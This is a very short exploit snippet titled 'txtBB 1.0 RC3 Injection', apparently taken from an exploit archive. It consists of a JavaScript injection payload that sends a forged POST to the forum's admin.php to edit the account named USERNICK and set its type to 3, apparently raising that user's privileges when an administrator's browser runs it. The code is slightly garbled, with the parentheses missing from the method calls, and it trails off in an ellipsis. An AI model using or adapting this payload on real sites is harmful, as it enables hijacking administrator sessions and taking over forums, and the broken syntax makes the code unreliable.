txtBB 1.0 RC3 Injection

var req = new XMLHttpRequest; req.open'POST', 'admin.php?action=users&type=edit&login=USERNICK&save=1', false; req.setRequestHeader'Content-Type', 'application/x-www-form-urlencoded'; req.send'signature=&avatar=&type=3&password=&submit=Zapisz';...